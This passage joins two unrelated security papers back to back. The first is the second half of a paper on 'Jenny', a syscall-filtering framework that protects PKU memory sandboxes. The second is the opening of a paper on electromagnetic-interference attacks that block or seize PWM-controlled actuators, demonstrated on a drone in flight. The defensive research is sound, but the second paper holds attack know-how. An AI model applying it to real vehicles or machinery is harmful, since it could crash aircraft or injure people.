domains but also be protected from corruption.

We employ a generic multi-domain call gate by using PKU
for its protection. As shown in Figure 3 (right,lines 3–4), the
PKRU value is fetched from a fixed offset in the thread-local
storage (TLS), relative to the fs register. For this, we reuse
an additional page that Donky places on the TLS, protected
with a key for which each domain has read-only access. Thus,
our call gate can securely fetch the intended PKRU value again
(line 6–7) and compare it with the written value (line 8). When
maliciously invoking the call gate, each thread can only use
its own current PKRU value stored inside its TLS.

Our call gate is generic enough such that we do not need
to place it in every domain’s entry function but only at the
monitor’s exit points. Our monitor switches domains by writ-
ing the desired PKRU value to the TLS before exiting. The
monitor exit points are the only place where transitions into
non-monitor domains occur. Similar to ERIM, the monitor’s
entry point needs no special call gate protection but simply
elevates the PKRU value to full permissions before doing a se-
cure context switch. Through binary scanning, one can ensure
that no other unsafe WRPKRU or XRSTOR occurances, which
may be used to switch to arbitrary domains, exist.

5.5 Security Argumentation

Security of Jenny involves security of the syscall interposition
technique, the base filters, the Jenny design, as well as the
security of concrete application filter rules.
Syscall Interposition. Our pku-user-delegate intercepts all
desired syscalls of a process and its threads and child pro-
cesses in the kernel and securely delivers them to the PKU-
protected userspace monitor. However, pku-user-delegate is
susceptible to the following attacks: First, as with other in-
process sandboxes, it does not survive execve. Thus, all of
our filter sets block the execve syscalls. Second, it is recon-
figurable via the ioctl syscall. However, once initialized the
pku-user-delegate can simply deny other ioctl commands
not coming from the monitor by checking the PKRU register.

Our libc-indirect* method can be applied in addition to pku-
user-delegate to improve performance of filtered syscalls. If a
domain bypasses libc-indirect*, e.g., by using the syscall in-
struction directly, our pku-user-delegate will intervene. When
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1 2:
2 xorl %ecx,%ecx
3 xorl %edx,%edx
4 movl $PKRUVALUE, %eax
5 wrpkru
6 cmpl $PKRUVALUE, %eax
7 jne 2b ; error

1 xor %rcx, %rcx
2 xor %rdx, %rdx
3 mov tls_offset, %rax
4 mov %fs:(%rax),%rax
5 wrpkru
6 mov tls_offset, %rcx
7 mov %fs:(%rcx),%rcx
8 cmp %rax, %rcx
9 je 1f

10 ud2 ; die here
11 1:

Figure 3: PKRU switches during secure call gates.

using such a kernel-based mechanism, the sandboxed code
may contain arbitrary syscall instructions.

Base Filters. Our base filter rules (base-donky*, base-mpk)
address all security-critical monitor resources, including mem-
ory and file system resources, process-related configurations.
Of course, we cannot guarantee preventing all syscall attacks.
To reduce the likelihood of attacks, we block new syscalls
by default. We further used strace [58] source code to clus-
ter syscalls into classes (e.g., memory-modifying syscalls),
which we then analyzed manually.

For protecting the PKRU register on x86-64 CPUs, our base-
mpk additionally employ binary scanning and W⊕X [11] as
well as secure multi-domain call gates, as detailed below.

Call gates Any WRPKRU occurrence within our trusted library
are either monitor-enter call gates or use our secure multi-
domain call gate for monitor exits. An interesting corner oc-
curs due to our syscall impersonation method, for which the
monitor temporarily drops PKRU privileges for impersonating
the syscall and elevating privileges again afterwards. Since
this PKRU elevation presents a monitor-enter call gate, we
also need to restore the monitor’s register state, including the
monitor stack pointer. We do so by storing the monitor stack
pointer on a protected TLS variable during impersonation.

Our multi-domain call gate cannot be manipulated since
the PKRU value is stored on protected TLS memory, and the
relevant fs register is read-only on our Linux 5.4 setup. Newer
Linux kernels (since version 5.9) can optionally enable the
userspace to write the fs register. If enabled, one could use
an alternative to the fs discussed in [27].

Jenny ensures that domains cannot evade syscall filtering,
as follows: First, syscall filters installed by domain A are
enforced on all of its child domains, also those created later
on. Second, the monitor ensures that all registered syscall
filters are executed in a hierarchical order until one filter
denies the syscall. Third, domains cannot be deleted when
they have child domains. Fourth, when a child domain B
orphans its child domain C using the Donky monitor API
call dk_domain_release_child (cf. [56]), domain C is as-
signed A as new parent. This ensures that filters of A cannot
be evaded. Fifth, monitor filters are globally applied to all
domains.

Application Filters need to sanitize syscall arguments before
accessing them [20]. Jenny copies syscall arguments to a
PKU-protected thread-local memory that is only accessible
to the filtering code. When writing syscall filters, developers
need to further follow a few security principles: (i) protect the
syscall filter rules and data structures by means of PKU, (ii)
lock internal data appropriately and avoid domain calls (cf.
Section 5.3) (iii) identify threads and domains appropriately.

Our localstorage filter rules prevent untrusted domains
from escaping a path sandbox, as follows: Any path-related
syscalls are intercepted, and paths are resolved, e.g., to neutral-
ize symbolic links. Before the respective syscall is allowed,
the path is prepended with a per-domain sandbox path. Fi-
nally, any file descriptor-based syscalls are intercepted such
that a domain can only access file descriptors it has opened
itself. However, these filters, currently, do not protect against
non-sandboxed colluding applications running with the same
user privileges since they can also manipulate this directory.

5.6 Secure Signals
Signals expose an inherent design weakness of the Linux
kernel w.r.t. PKU sandboxes [11]. To date, none of the existing
PKU sandboxes provide secure signal handling.

While Donky [56] describes how secure signal handling
could be supported, it misses the above design weakness. Fur-
thermore, it neither provides a semantic to PKU-aware signal
handling nor a prototype implementation. Hodor simply dis-
ables signal delivery in the kernel while inside an isolated do-
main [27]. ERIM does not discuss secure signal handling [61].

In the following, we introduce a PKU-secure signal API,
discuss the protection of signal stacks, and show how signal
handling is made secure against race conditions.
Secure Signal API. Designing a meaningful signal handling
API for use with PKU sandboxing is non-obvious. If multi-
ple domains attempt to register a signal handler for the same
signal, who should get the signal delivered? In case of syn-
chronous signals one might deliver to the domain triggering
the signal. However, this could be abused by certain attacks
relying on the suppression of segmentation faults [34]. Even
worse, for asynchronous signals (e.g., timers), it is ambiguous
which domain triggered the signal or is eligible to take it.

We follow a secure-by-default philosophy: Our monitor
allows one signal to be handled by exactly one domain. More-
over, a parent domain can override a signal handler registered
by one of its children and thus, virtualize a child’s signal
handlers. The parent can then decide whether to manually
redirect the signal to the child domain or not.

To realize our API we register our own monitor-protected
signal handler as a single entry point for all signals. For this,
we filter the syscalls (rt_)sigaction and signal and store
domain-provided signal handler information in the monitor.
On signal delivery, our (monitor) handler looks up the corre-
sponding domain signal handler and executes it. Domains can
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use standard signal registration functions without any code
modifications. Jenny intercepts these functions and aborts
with an error in case the signal was already registered.
Secure Signal Stack. Protection of the so-called signal frame
is of key importance, as an attacker manipulating it (e.g., the
stored PKRU register) could elevate privileges [11]. The Linux
kernel stores the signal frame holding all CPU registers on
the stack, from which it will be restored upon signal return
via the (rt_)sigreturn syscall. Unfortunately, one cannot
protect the signal frame by means of PKU, since the Linux
kernel deprivileges the signal handler to protection key zero.

To solve this, we need to ensure that signal frames are
always pushed onto a protected signal stack. Thus, we allo-
cate a separate alternative signal stack per thread, protect it
with the monitor’s protection key, and register it in the ker-
nel via the sigaltstack syscall. We propose to extend the
sigaltstack syscall by adding an associated protection key
to the existing ss_flags field. The kernel then registers this
protection key alongside the signal stack. Whenever a signal
arrives, the kernel first loads the registered protection key
before storing the signal frame on the protected stack and in-
voking our handler. To guarantee that our protected alternative
signal stacks are always used, we augment the above hooked
signal registration functions to always inject the SA_ONSTACK
flag. Additionally we filter the syscalls sigaltstack and
(rt_)sigreturn. Thus, signal delivery and return are pro-
tected. In total, our patch adds 33 LoC to the kernel.
Secure Signal Handler. Race conditions present another
challenge. E.g., signals may occur while other signals are still
handled, which corrupts our signal stack. Also, asynchronous
signals (e.g., SIGALRM) can occur during critical monitor exe-
cution, e.g., while a lock is held, leading to deadlock situations.
Also, the signal frame might contain sensitive register values
that must not be exposed to a domain’s signal handler.

We defeat race conditions, as follows. First, to prevent
signals from interrupting each other, we temporarily block all
signals via the sa_mask field in the (rt_)sigaction filter.
This is not a limitation in practice, since the blocked signals
will arrive when the current one is finished.

Second, to prevent signals from interfering with current
monitor execution, we defer them to the monitor exit point.
That is, our universal signal handler puts the signal on a per-
thread “monitor pending” variable together with the original
signal mask and blocks all signals for this thread. We augment
all monitor exit paths to check for deferred signals, re-raising
them using tgkill and unblocking them using sigprocmask.
Thus, the monitor now gets interrupted at a precise location in
the exit path that does not make use of monitor data anymore.

To avoid information leakage, we keep the signal frame
only on our protected signal stack and do not serve it to the
domain signal handler. This prevents the domain from ex-
tracting or manipulating register values in case the signal was
raised while in monitor mode. This is not a severe limitation,
as commonly, “the handler function doesn’t make any use of
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the third argument”, i.e., the signal frame [3]. Alternatively,
one could provide a sanitized frame to preserve compatibility.

6 Evaluation

The performance of Jenny is influenced by the syscall inter-
ception mechanism, which and how many syscalls are made,
and the filtering logic. Our micro-benchmarks measure the
overhead of individual syscalls. Macro-benchmarks measure
the impact on whole applications and libraries.
Filtering Mechanisms. We evaluate our seccomp-ptrace,
pku-user-delegate and libc-indirect* methods on all bench-
marks and ptrace only for micro-benchmarks to compare
against the fasterseccomp-ptrace. As discussed in Section 5.2,
some filtering mechanisms have functional limitations. E.g.,
Seccomp-BPF and seccomp-trap are incompatible with PKU
sandboxing and, thus, excluded. We further exclude seccomp-
user from application benchmarks due to its limitations in
multi-threading and nested filtering. Finally, we omit Syscall
User Dispatch, as it does not support safe signal handling,
however, pku-user-delegate serves as a lower bound.
Setup. We use Linux 5.4.0 on an Intel Xeon 4208 CPU with
a fixed frequency of 1.8 GHz. We measure the performance
using the instruction sequence lfence,rdtsc,lfence. All
file-based operations run within a tmpfs. The standard de-
viation is included in all figures. We removed outliers, i.e.,
measurements deviating by twice the median value.

For benchmarking unmodified applications, we compile
Jenny as a shared library and use LD_PRELOAD to load it. We
use constructors to initialize Jenny, create a new domain for
sandboxing the application, install the necessary filters, and
start timing measurements, which are then evaluated by a
destructor. We evaluate the startup overhead separately in
Appendix A. For nginx/apachebench and lmbench, we use
the performance numbers given by these tools instead.

6.1 Micro-benchmarking
For each mechanism and rule set, including no filters as de-
noted by “none”, we time the execution of 100 syscalls and
repeat the measurement 100x. The plots show the relative
runtime compared to when no mechanisms are in use.

Figure 4 shows the results for a getpid syscall, one of
fastest syscalls showing the upper-bound overhead for each
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Figure 5: Relative execution time of an open syscall.

syscall interposition technique. We install an empty filter that
simply allows the syscall– once as a “monitor filter” and once
both in the monitor and in the domain. The difference between
“monitor” and “monitor + domain” is the constant domain-
switch overhead of each additional nesting level, e.g., when a
(parent) domain installs a custom filter for its children.

Our libc-indirect* mechanism takes 2.69 x the time of
getpid for each unfiltered syscall, since the monitor is al-
ways invoked. For filtered syscalls, it is the fastest mechanism
since it remains in userspace. On the other hand, pku-user-
delegate filters a bit slower due to the kernel context switches
but has a negligible (2%) overhead for unfiltered syscalls.
Seccomp decisions run with 1.58 x the time in the kernel.

For Figure 5 we enable base-mpk and base-donky* pro-
tection as well as our localstorage filter to isolate domains
on the file system (Section 3.3). We benchmark the most af-
fected open syscall. Note that we populate the localstorage
directory with the required files before our benchmarks. As
expected, apart from ptrace, only the localstorage filter set
sees a significant slowdown. Contrary to prior claims [11],
our filter rules base-donky* and base-mpk do not need to trace
the open syscall. Thus, our overhead for protecting a PKU
sandbox is negligible.

As expected, the filtering overhead decreases for the slower
open syscall: For getpid, we observe a 58% overhead for
seccomp-bpf, compared to 8% for open. In contrast, pku-user-
delegate has no measurable overhead on unfiltered syscalls.

Syscall Compatibility and Signals. To show compatibility
with the syscall interface and the performance overhead of
our secure signal handling (Section 5.6) we used the standard
Linux micro-benchmarking tool “lmbench” [37]. Here, we
enable the localstorage filter set in addition to base-mpk. lm-
bench internally runs its benchmark multiple times and reports
a single number. In addition, we run each lmbench binary 10x.
We directly used the reported latency numbers unless they are
given as a bandwidth unit (e.g., MB/s), in which case we in-
vert them. Figure 7 shows the relative performance slowdown.
Most notably, sig catch reports a relative execution time
for sending and catching a signal of 15.42x, 1.22x, and 2.76x
for seccomp-ptrace, pku-user-delegate, and libc-indirect*, re-
spectively. This benchmark also includes sending the signal
(via the kill syscall), which reports much higher numbers
for libc-indirect* intercepting kill. All lmbench programs

are compatible without modifications, except lat_rpc, which
did not start on our system even without Jenny.

6.2 Application Benchmarks
We benchmark Jenny with a range of unmodified applications
to show its compatibility with syscalls, multi-threading, and
signals as well as the slowdown of the different filter rules.

Figure 6 shows the relative runtime overhead when ap-
plications are sandboxed using Jenny. To evaluate our dif-
ferent rule sets, we use a mix of file-intensive and compute-
intensive applications and run each one 10 times. We use dd
to write a zero-filled 1 MB file using 1024 separate read and
write syscalls. For git status, ls, and zip, we inspect or
compress a clone of https://github.com/git/git.git at
the branch v2.30.0-rc0 with a clone depth of 10 000 For
openssl, we create an ECDSA signature for a 1KiB file using
a secp521r1 key. For ffmpeg, we re-encode a 2 s 720p H.264
file using libx264 with the -threads 3 option, which spawns
nine threads, three of which are actual encoding threads.

We observe that compute-intensive applications (i.e., zip,
openssl, and ffmpeg) have a negligible overhead for the
faster filtering mechanisms (i.e., pku-user-delegate and libc-
indirect*), irrespective of the complexity of the filter-rules.
This is expected since the runtime of these applications is
dominated by computation and not by syscalls. However, due
to synchronization (futex), ffmpeg still shows a slowdown
for seccomp-ptrace. Applications with excessive file-based
syscalls (i.e., dd, git, ls) perform considerably worse when iso-
lated in a localstorage directory, since any file-descriptor- and
path-based syscalls are intercepted. E.g., the syscall-intense
git reaches 295% overhead for pku-user-delegate, while base-
mpk only shows a 0–24% overhead.

6.3 Case Study: Webserver
We evaluate a real-world use-case, namely sandboxing li-
braries and modules in a webserver. This shows library isola-
tion and nested domains with our syscall filtering framework.
We use the nginx web server and configure it to use eight
worker threads and optionally the gzip module as well as the
HTTP Basic Authentication module, denoted as “auth”. As
seen in Figure 8, the nginx core runs in the root domain, for
which we enable the base-mpk filter. Two child domains simu-
late a potential attacker misusing the syscall interface. For the
gzip module, we isolate the underlying zlib library in a sep-
arate child domain and install filters to prevent any syscalls.
The “auth” module runs in another child do, for which we
enable the localstorage filters to constrain it into its local
directory, having only access to its authentication file.

We benchmark the unmodified nginx against Jenny, using
apachebench with 10 000 requests in total and 10 concurrent
requests. We request 0 KiB files to show the worst-case over-
head. Figure 9 shows the evaluation results. If no modules are
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grams when isolated with localstorage filters.

Monitor Root Domain (nginx core) auth gzip

Path/FD ALLbase-mpk

Figure 8: Overview of the separate modules constrained
within their domains and their respective filters.

active, all worker threads run in the same domain, incurring
no domain-switch overhead. Also, our base-mpk base filters
do not negatively affect the performance. For “gzip”, there
are two domain switches per request for entering and leaving
the child domain performing zlib. Since zlib does not require
syscalls, the overhead is negligible as well. For “gzip + auth”,
there are two additional domain switches for the “auth” do-
main plus file-operation syscalls for reading the file, which
is isolated in the localstorage. Here, we still only measure a
5% overhead for our pku-user-delegate. In total, 14 protection
keys are used: two for the monitor, three for the domains,
and nine for the threads, including the main thread. For this
case-study, we added 167 and removed 36 LoC from nginx
1.20.0.

No modules gzip gzip + auth
0

2
1.00 1.00 1.020.99 0.99 1.051.00 1.00 1.03

secccomp ptrace pku-user-delegate libc-indirect*

Figure 9: Relative runtime of a HTTP request in ng-
inx with different (isolated) modules active, normalized
against the unmodified nginx.

7 Discussion and Future Work

Compatibility. Since our base filters deny a set of dangerous
syscalls, applications relying on them are incompatible with
our sandbox. Furthermore, our optional localstorage filters
constrain a domain into its isolated directory, which can cause
compatibility issues if the sandboxed application needs to ac-
cess files outside. For our evaluation we add any files needed
to this directory. Protected file descriptors can also cause
problems if they are not assigned to the sandbox domain.

As demonstrated in Section 6.2, syscalls and signals are
transparently intercepted by the monitor and redicted to the
respective handlers. Thus, Jenny works without having to
modify the sandboxed code. However, Jenny scans the binary
for unsafe WRPKRU (and XRSTOR) instructions. Hence some
binaries are not compatible. In case the unsafe instructions
only occur in a misaligned manner, binary rewriting [61] or
breakpointinng [27] could be used to improve compatibility.

Currently, our prototype kernel module only supports fil-
tering a single process, including its threads and forked child
processes. Support for arbitrary processes could be easily
added.
Kernel Interface. Linux’s syscall interface is steadily grow-
ing, both in size and complexity. Our analysis was based on
the documentation of Linux 5.4.0. Since future syscalls could
further exploit PKU systems, we suggest to only allow a small
set of syscalls that are needed and deny unknown syscalls.
Number of Protection Keys. Intel MPK only supports 16
keys, of which Linux reserves up to two keys. Jenny cur-
rently uses one private key per domain and one extra key for
read-only accessible global monitor data. Furthermore, our
solution for protecting filtered syscall arguments uses one
sysargs protection key for each thread to conservatively pre-
vent TOCTOU and Boomerang attacks [35]. Thus we limited
our nginx and ffmpeg use-cases to eight worker threads.

There are multiple ways to relax this limitation. Sysargs
protection keys are not required for threads that run in isola-
tion, i.e., only stay in one domain. There, we can copy syscall
arguments to the filteree-private memory instead. Moreover,
sysargs keys can be omitted when the syscall filters affecting
a thread do not access pointer arguments. One could, for ex-
ample, allocate sysargs keys on-demand when a thread enters
a domain that requires such complex filters the first time.
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Another way would be to pre-allocate a small pool of
sysargs protection keys that are dynamically dispatched by
the monitor only when needed. However, this limits the num-
ber of concurrently filtered syscalls and they could stall when
the pool is exhausted.

Alternatively, for large applications (e.g., web browsers)
one can virtualize protection keys at a loss of security
(e.g., only giving probabilistic isolation guarantees). The
Donky software already provides infrastructure for specifying
whether an allocated protection key can be virtualized (e.g.,
reused multiple times). Thus, software architects can unlock
certain keys for virtualization, for which the security risk is
manageable.

8 Related Work

Application Sandboxing. Traditionally, syscall interception
was used for whole-application sandboxing. In the past, a
number of different solutions have been presented to filter
or monitor syscalls [4, 8, 21, 24, 25, 29, 30, 53–55]. They use
various of mechanisms for enforcement, ranging from binary
rewriting [8, 54, 55] to new kernel features [21, 29]. Garfinkel
et al. [20] presented best practices and common pitfalls for
such systems, and Parampalli et al. [52] presented powerful
attacks against them. Our implementation closely follows
these best practices to minimize potential vulnerabilities.

Linux provides AppArmor, SELinux, and seccomp-bpf for
confining syscalls for applications. However, they only sup-
port simple static filter rules that cannot be changed while
the application runs. seccomp-bpf only allows installing addi-
tional rules to further constrain itself. To restrict other kernel
resources, Linux also provides other mechanisms like “con-
trol groups” and “namespaces”. However, they are unsuitable
for PKU-based in-process isolation. Other work [5, 18, 36]
used virtualization techniques to emulate the entire syscall
interface and sandbox applications.

Generating optimal rules, such that only required syscalls
are possible, is orthogonal work. By statically or dynamically
analyzing applications, existing work [7, 8, 15, 19, 22, 23, 62]
generates such rules, which can also be applied to Jenny.
In-Process Isolation. To sandbox code within an application
also requires filtering or blocking syscalls. For NativeClient,
WebAssembly, or other interpreted languages, this is typically
enforced through (re)compilation. The compiler makes sure
not to emit any unsafe instructions (e.g., syscall). The iso-
lated code uses predefined functions to communicate with the
rest of the application, which can then issue syscalls [1, 59].
PKU-based Systems. Recently, a number of PKU-based
sandboxes have been proposed [27, 56, 61]. Such systems
require syscall filtering to prevent WRPKRU exploitation and to
enforce their sandbox. Connor et al. [11] showed vulnerabili-
ties for such systems and how to overcome them. However,
none of them offer a complete solution, and some claim that
the overhead of proper syscall handling would be prohibitive.

Existing work fails to explore different syscall filtering mech-
anisms and ways to optimize the necessary filters.

9 Conclusion

In this work, we addressed various syscall filtering challenges
for PKU-based memory isolation systems leading to Jenny,
the first PKU system with comprehensive syscall support.
We uncovered previously unknown PKU-related syscall at-
tacks, compared various syscall interception mechanisms and
designed a faster mechanism that fits the needs of PKU sys-
tems. We designed comprehensive and efficient filter rules for
protecting a PKU sandbox. We further designed filters for con-
fining sandboxes in local directory, similar to chroot. Many
other filter sets are conceivable with Jenny, ranging from file
system virtualization, in-process namespaces and browser site
isolation towards isolation of cloud workloads [10].

Jenny provides filtering on the same thread, thus enabling
and simplifying impersonation of syscalls, as well as nested
filtering and signal handling. In conclusion, we showed that
syscall filtering for PKU systems is both practical and secure,
and we achieved a minor performance impact of 5% for nginx.
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Figure 10: Runtime of /bin/true with and without
Jenny for various interception mechanisms and filter
rules.

A Evaluation of the Initialization Overhead

Our evaluation in Section 6.2 does not include the additional
time it takes to load and initialize Jenny. Jenny is built as a
shared library, which we preload using LD_PRELOAD. To mea-
sure the constant overhead of preloading and initialization
(i.e., the creation of a default domain, scanning the binary), we
run the program /bin/true without filter rules. Our measure-
ment setup benchmarks the time between the execve syscall
of /bin/true and the continuation of the waitpid syscall of
a parent program.

Figure 10 shows the total runtime of /bin/true under dif-
ferent conditions. The first two bars show the native runtime
and the runtime when the application is isolated in a domain,
but with no syscall filtering. One can see that Jenny takes
1.8 ms to initialize. While outside of scope for our work, we
believe that further optimizations of the startup procedure are
possible here.

Other bars show the runtime when Jenny is used, with dif-
ferent filter mechanisms and filter rules applied. libc-indirect*
traces all libc syscalls without distinction – hence the fast ini-
tialization. The minor overhead of libc-indirect* stems from
registering the filter rules in the monitor and also applies to all
other mechanisms. In contrast, other mechanisms take longer
to initialize when more syscalls need to be registered for in-
terception. seccomp-based filtering shows a larger overhead
of up to 2.6 ms.In contrast, our pku-user-delegate mechanism
shows small overheads of 0.6 ms.

B Sandboxing privileged processes

PKU sandboxing might also be used to protect privileged
programs, e.g., setuid binaries (cf. the sudo exploit [47]). In
this case, care must be taken to shield all privileged system re-
sources accordingly. For this, one should additionally block all
syscalls that require capabilities (e.g., CAP_SYS_ADMIN) [2]
such as pivot_root, mount, and reboot. Moreover, privi-

leged file system resources (e.g., /proc/sys, /sys and /dev)
need to be blocked. Here, using the prctl approach from
base-mpk is ineffective, instead new rules need to be designed
similar to localstorage.

C Filter API

In Jenny the filtering mechanism and base filter rules (cf.
Section 3.3) can be supplied via environment variables
(e.g., FILTER=base-mpk MECHANISM=ptrace_seccomp) or
via an API call. Additionally, as shown in Figure 11, one can
install custom filter rules for each (sub-)domain. Note, that
these filters run in addition to the base filter rules as well as
any registered filter rules of their own parent domains. Line
9 registers a simple rule to deny all write syscalls. Line 10
registers a filter function, which logs (line 3) all attempted file
accesses via the open syscall and then denies them.

1 void custom_open_filter(trace_info_t *ti) {
2 if (IS_SYSCALL_ENTER(ti)) {
3 printf("Domain %d is about to open file: %s\n",
4 ti->did, ti->args[0]);
5 SYSFILTER_RETURN(ti, -EACCES);
6 }
7 }
8

9 //register syscall filters for sub-domain
10 jenny_sysfilter_domain(domain_id, SYS_write, SYSCALL_DENIED);
11 jenny_sysfilter_domain(domain_id, SYS_open, custom_open_filter);

Figure 11: Usage example of our filter API
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Abstract

Cyber-physical systems (CPS) consist of integrated compu-
tational and physical components. The dynamics of physical
components (e.g., a robot arm) are controlled by actuators
via actuation signals. In this work, we analyze the extent to
which intentional electromagnetic interference (IEMI) allows
an attacker to alter the actuation signal to jam or control a
class of widely used actuators: those that use pulse width mod-
ulation (PWM) to encode actuation data (e.g., rotation angle
or speed). A theory of False Actuation Injection (FAI) is de-
veloped and experimentally validated with IEMI waveforms
of certain frequencies and modulations.

Specifically, three attack waveforms, denoted as Block,
Block & Rotate, and Full Control, are described that can be
utilized by an attacker to block (denial of service) or alter
the actuation data encoded in the PWM signal sent by an
actuator’s legitimate controller. The efficacy of the attack
waveforms is evaluated against several PWM-controlled ac-
tuators, and it is observed that an attacker can implement
denial-of-service attacks on all the tested actuators with Block
waveform. Additionally, attackers can take control of servo
motors from specific manufacturers (Futaba and HiTec) with
reported Block & Rotate, and Full Control waveforms. A cou-
pling model between the attack apparatus and victim PWM-
based control system is presented to show that the attacker
can utilize magnetic, resonant coupling to mount attacks at an
appreciable distance. Indoor and in-flight attacks are demon-
strated on the actuators of an unmanned aerial vehicle (UAV),
the effects of which are shown to seriously impact the safe
operation of said UAV, e.g., change in the flight trajectory.
Additionally, the denial of service attacks are demonstrated
on other actuators such as DC motors, the rotational speed of
which is controlled with PWM, and possible countermeasures
(such as optical actuation data transmission) are discussed.

This work was supported by the National Science Foundation (NSF)
under Grant No. CNS-1801611.

1 Introduction

A cyber-physical system (CPS) is a complex combina-
tion of computation, communication, and control elements. A
generic CPS includes actuators, sensors, and a controller as
illustrated in Figure 1. The sensors convert a system variable
(e.g., acceleration) to electric (digital or analog) signals and
send them to the controller. The controller processes the sen-
sor data and makes a decision for how to influence the future
state of the system and sends actuation signals to actuators
(e.g., a servo motor) which perturbs the CPS state.

The attackers can utilize EM waves to obstruct or manipu-
late the actuation data, sensor data, or communication signal
which are illustrated as Point 1, 2, and 3 in Figure 1, respec-
tively [1]. Our interest in this work is the FAI attacks in which
the attacker aims to obstruct or manipulate the actuation con-
trol with IEMI. Pulse width modulation (PWM) signals, to
which the actuation data (such as speed or rotation angle of
a motor) is encoded, are commonly used for actuation con-
trol. The integrity of PWM signals is thus very important
because any blockage or alteration of the actuation data re-
sults in the loss of control of the physical components. For
instance, during an attack on a fixed-wing UAV, if the attacker
prevents the actuation of the control surfaces (e.g., ailerons),
the victim UAV can easily crash. Even with specific actua-
tors, an attacker can take control of the control surfaces (e.g.,
ailerons) to force the UAV to follow an unsafe trajectory. This
paper is concerned with how such an effect may be obtained
by an attacker at a distance and without breaking traditional
digital protections, e.g., encrypted communication between
controller and actuator.

1.1 Related Work
Faraday’s law of induction states that a time-varying mag-

netic field normal to a conductor loop results in an induced
voltage at the terminals of the conductor [2]. An attacker can
exploit this phenomenon by using specific waveforms to affect
the circuitry conveying PWM signals (e.g., traces on printed
circuit boards or cables) to manipulate the operation of a tar-
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Figure 1: An IEMI attack can target a variety of attack points
in a cyber-physical system: Actuation Signal (1), sensor out-
put (2), and radio control signal (3) can be manipulated or
blocked (i.e., jammed) by IEMI.

geted actuator by changing the voltage representing the PWM
signal. In certain conditions (e.g., when the attacker exploits
the victim resonance), the induced voltage is large enough to
block or manipulate the actuation data (Point 1 Figure 1).

Unlike FAI attacks (Point 1 in Figure 1), sensor data ma-
nipulation (Point 2 in Figure 1) with IEMI has been well-
documented in the literature. Kune et al. reported IEMI at-
tacks to inject false data into microphones and implantable car-
diac devices [3]. An IEMI attack on magnetic speed sensors
of an anti-lock braking system was reported in [4]. Kasmi and
Esteves show false voice commands to mobile phones can be
injected through headphone cables with IEMI [5]. It is shown
that a few-100 mVs of induced voltage [6] is more than suffi-
cient to manipulate analog sensor data through ADC-clipping
effect [6, 7] and device-nonlinearities [3, 8]. The reader is
referred to [9, 10] for a systematic description of mechanisms
such as ‘ADC clipping and ‘device nonlinearity’ exploited
in sensor data manipulation. However, as the amplifiers or
ADCs are not used in the actuation system, the attacker can’t
exploit these mechanisms. To manipulate the actuation data
(FAI), the attacker needs to induce a voltage comparable to
the amplitude of the victim PWM, (e.g., 5 V for a UAV [11])
and spoof the victim controller, the mechanism of which is
explained in Section 2.

Although sensor data manipulation is applicable with less
power, it poses a less significant threat for the victim sys-
tem because the robust state estimators can detect, filter, and
correct the false sensor data injected by the attacker [12]. Nev-
ertheless, the state estimators are not effective against FAI,
because even the robust state estimator detects a faulty state
due to the induced false actuation data and sends a ‘recovery’
actuation signal, the attacker overrides this ‘recovery’ signal,
as the attack point is between the state estimator (in the con-
troller) and actuator (Figure 1). The ability of FAI attacks to
override the state estimator control makes them a severe threat
for secure CPS operation. A low–frequency (50 Hz) sawtooth
waveform that generates an ‘artificial’ voltage drop to depre-
ciate the actuation data is demonstrated in [6]; however, the

attack with low–frequency waveform has some limitations:
first, the attacker radiator (toroid) should be placed around the
victim PWM cables (i.e., attack distance is limited to a few
cms.); second, the induced servo rotation is limited to one
direction because the attacker can only decrease the PWM
width; third, the attacker is assumed to be synchronized to
the victim PWM signal which requires a receiver system to
analyze the victim EM leakage. In this work, high–frequency
(e.g., VHF–band) amplitude modulated attack waveforms are
reported that increase the attack distance to multiple meters,
force the servo rotation to both directions, and do not require
synchronization or a receiver system to eavesdrop on the vic-
tim EM leakage.

Another class of attacks that utilize EM interference is
‘communication jamming’ that targets the communication link
between the ground/radio controller and the system (Point 3
in Figure 1) [13]. Attacks are shown with malicious Wi-Fi sig-
nals to take control of the commercial drones [14, 15]. Unlike
FAI, the ‘communication jamming’ is not effective if the vic-
tim device is in autonomous mode. Additionally, controllers
with robust state estimators can mitigate communication jam-
ming similar to sensor manipulation attacks unlike the attacks
on actuation signal [12].

1.2 Contributions

To the best of the authors’ knowledge, this is the first study
solely focused on the threat IEMI poses to PWM–controlled
actuators. Our contributions are as follows:

• Three attack waveforms are devised, namely Block, Block
& Rotate, and Full Control, which consist of amplitude
modulated signals matched to the resonant frequency of
the victim PWM circuitry. While Block prevents actuator
control, Block & Rotate and Full Control are shown to be
capable of controlling the actuator rotation for certain servo
models (Futaba and HiTec). Additionally, the efficacy of
attacks is tested on other PWM-based actuators such as DC
motors, the speed of which is controlled by the PWM.

• An electromagnetic coupling analysis is presented to deter-
mine the optimal attack parameters that maximize attack
efficacy with distance. The analysis allows an attacker to
determine the coupling ratio between an attacker antenna
and victim PWM circuitry. From this model, the (resonant)
frequency at which power from the attack setup can be de-
livered with the greatest efficiency can be found, thereby
lowering the overall cost of attack. Two methods, an ana-
lytical and an experimental, are reported to estimate and
determine the victim resonant frequency.

• The FAI attacks are demonstrated on a fixed-wing UAV
during flights. For demonstration, an attacker system that
consists of an RF module and an antenna is designed and
mounted on the victim UAV. The Block and Full Control
attacks are implemented during flights and the effect of the
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attacks to the trajectory of the UAV is reported with the
flight data (e.g., aileron rotation, roll angle, and trajectory).

• The countermeasures (e.g., optical signaling and shielding)
to mitigate IEMI attacks on actuators are discussed.

A Zero Phase Shift Line (ZPSL) antenna with a uniform field
distribution is designed and produced for the attack demon-
strations, which is believed to be useful to other researchers
investigating IEMI attacks (Appendix B).

2 Adversarial Control of Actuators

PWM signals control actuators through the information
encoded in the signal, e.g., rotation angle or speed. An attacker
aims to prevent successful transmission of, or change, this
information to manipulate actuator movement.

Actuator Control with PWM: A PWM signal is a rectan-
gular waveform with a fixed period, tPWM , of 20 ms as illus-
trated in Figure 2a. The time duration, thigh, varies between
1ms and 2ms and carries the actuation information which is
the actuation data like rotation angle or speed. In this section,
the PWM operation is explained for a servo motor application
for which the PWM carries the rotation angle data; however,
the same mechanism (i.e., data encoded to thigh) is utilized for
DC motor applications for which the rotational speed (rpm)
is transferred. A generic servo spans an overall rotation angle
of 90°and rotates in the clockwise direction with increasing
thigh. For instance, thigh = 1ms, 1.5ms, and 2ms corresponds
to the rotation angles −45°, 0°, and 45° respectively, as il-
lustrated in Figure 2b, 2c and 2d. There are two options for
an actuator to process the actuation data encoded to a PWM
signal. First, by checking the rising and falling edges the
PWM pulse; second, take the average of the PWM possibly
with a low pass filter. It is experimentally observed that the
